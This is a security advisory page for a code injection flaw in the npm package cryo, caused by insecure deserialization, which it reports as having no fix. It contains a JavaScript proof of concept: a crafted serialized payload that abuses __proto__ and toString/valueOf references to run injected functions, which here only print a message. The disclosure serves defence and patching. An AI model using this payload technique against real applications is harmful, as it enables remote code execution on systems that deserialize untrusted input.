GHSA-38f5-ghc2-fcmv

    Dashboard / Vulnerabilities / GHSA-38f5-ghc2-fcmv

    GHSA-38f5-ghc2-fcmv

    Published: 21 Aug 2018Last Modified: 8 Nov 2023
    Aliases:

    Summary: Code Injection in cryo

    Details: All versions of `cryo` are vulnerable to code injection due to an Insecure implementation of deserialization. ## Proof of concept ```js var Cryo = require('cryo'); var frozen = '{"root":"_CRYO_REF_3","references":[{"contents":{},"value":"_CRYO_FUNCTION_function () {console.log(\\"defconrussia\\"); return 1111;}"},{"contents":{},"value":"_CRYO_FUNCTION_function () {console.log(\\"defconrussia\\");return 2222;}"},{"contents":{"toString":"_CRYO_REF_0","valueOf":"_CRYO_REF_1"},"value":"_CRYO_OBJECT_"},{"contents":{"__proto__":"_CRYO_REF_2"},"value":"_CRYO_OBJECT_"}]}' var hydrated = Cryo.parse(frozen); console.log(hydrated); ``` ## Recommendation No fix is currently available. Consider using an alternative module until a fix is made available.

    Affected packages

    Package

    Name: cryo

    Purl: pkg:npm/cryo

    Affected ranges

    Type: SEMVER

    Events:

    Introduced- 0
    Fixed -None

    Affected versions

    Common Vulnerability Scoring System

    Attack Vector
    Network
    Adjacent
    Local
    Physical
    Privileges Required
    None
    Low
    High
    User Interaction
    None
    Required
    Scope
    Unchanged
    Changed
    Confidentiality
    None
    Low
    High
    Integrity
    None
    Low
    High
    Availability
    None
    Low
    High